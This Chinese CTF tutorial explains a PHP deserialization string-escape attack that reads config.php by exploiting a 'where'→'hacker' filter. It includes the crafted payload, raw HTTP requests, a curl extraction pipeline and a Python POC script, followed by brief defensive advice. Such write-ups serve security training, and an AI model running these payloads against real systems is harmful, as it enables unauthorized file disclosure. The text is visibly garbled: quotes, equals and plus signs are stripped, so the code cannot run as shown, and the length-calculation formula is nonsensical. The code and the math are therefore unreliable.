CTF实战:如何利用PHP序列化漏洞绕过正则过滤读取敏感文件(附POC)

CTF实战:如何利用PHP序列化漏洞绕过正则过滤读取敏感文件(附POC) CTF实战PHP序列化漏洞的深度利用与正则绕过技巧在CTF竞赛中PHP序列化漏洞一直是Web安全赛题的经典考点。不同于简单的反序列化利用当漏洞场景叠加正则过滤时往往需要更精巧的Payload构造技术。本文将从一个真实的CTF赛题基于0CTF 2016 piapiapia题目改编出发剖析如何通过字符计算和结构闭合突破多重防御机制实现任意文件读取。1. 漏洞环境与核心逻辑分析首先我们需要理解目标系统的三个关键文件交互逻辑update.php接收用户输入的手机号、邮箱、昵称和头像文件经过正则验证后序列化存储profile.php从数据库读取序列化数据并反序列化展示class.php包含数据过滤和数据库操作的核心类关键漏洞链存在于以下处理流程// update.php中的数据处理流程 $profile [ phone $_POST[phone], email $_POST[email], nickname $_POST[nickname], photo upload/.md5($_FILES[photo][name]) ]; $user-update_profile($username, serialize($profile)); // class.php中的过滤方法 public function filter($string) { $escape array(\, \\\\); $escape / . implode(|, $escape) . /; $string preg_replace($escape, _, $string); $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); }2. 正则过滤机制的突破策略系统设置了四重防御机制我们需要逐个击破2.1 昵称字段的字符限制原始检查条件if(preg_match(/[^a-zA-Z0-9_]/, $_POST[nickname]) || strlen($_POST[nickname]) 10)绕过方案通过数组形式提交nickname参数如nickname[]test使strlen检查失效数组序列化后的结构差异为后续利用创造可能2.2 序列化后的二次过滤filter函数会对以下内容进行替换单引号和反斜线 → 下划线SQL关键词select/insert等 → hacker关键发现每次替换where为hacker会使字符串长度1这种长度变化会破坏原始序列化结构2.3 文件读取的路径控制系统设计将头像文件保存在upload目录但我们需要读取同级config.php。通过构造特殊的photo路径实现目录穿越原始upload/md5(filename) 目标config.php3. Payload构造的数学原理成功的攻击需要精确计算字符替换带来的长度变化。以下是构造公式设 原始nickname长度 L 需要注入的payload长度 P where出现次数 N 满足 L N*6 (原始where长度) L N*5 (替换为hacker后) P P N实际操作步骤构造nickname值为34个where加上闭合payload序列化后每个where被替换为hacker总长度增加34注入的;}s:5:photo;s:10:config.php;}正好占用34字符位置// 最终Payload示例 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.php;}4. 完整攻击流程演示4.1 环境准备使用Docker搭建测试环境docker run -d -p 8080:80 --name piapiapia vulhub/php:5.44.2 分步操作注册用户POST /register.php HTTP/1.1 usernametestpasswordtest123修改资料时拦截请求POST /update.php HTTP/1.1 nickname[]wherewhere...[34个]...where;}s:5:photo;s:10:config.php;}查看结果curl -s http://localhost/profile.php | grep -o base64,[^]* | cut -d, -f2 | base64 -d4.3 自动化POC脚本import requests import re target http://ctf.example.com session requests.Session() # 注册用户 session.post(f{target}/register.php, data{ username: exploit, password: pssw0rd }) # 构造恶意nickname payload where*34 ;}s:5:photo;s:10:config.php;} files {photo: (test.jpg, test)} # 提交payload session.post(f{target}/update.php, data{ phone: 13800138000, email: testtest.com, nickname[]: payload }, filesfiles) # 获取flag resp session.get(f{target}/profile.php) flag re.search(rflag\{.*?\}, resp.text) print(flag.group(0))5. 防御方案与最佳实践针对此类漏洞建议开发者输入验证对数组参数进行类型检查使用白名单而非黑名单机制序列化安全// 使用json替代原生序列化 $data json_encode($profile, JSON_THROW_ON_ERROR);文件操作// 限制文件路径在指定目录 $photo upload/ . basename(md5($file[name]));在实际CTF比赛中这类题目往往需要参赛者具备对PHP序列化格式的深刻理解正则表达式替换的副作用分析能力精确的字符长度计算技巧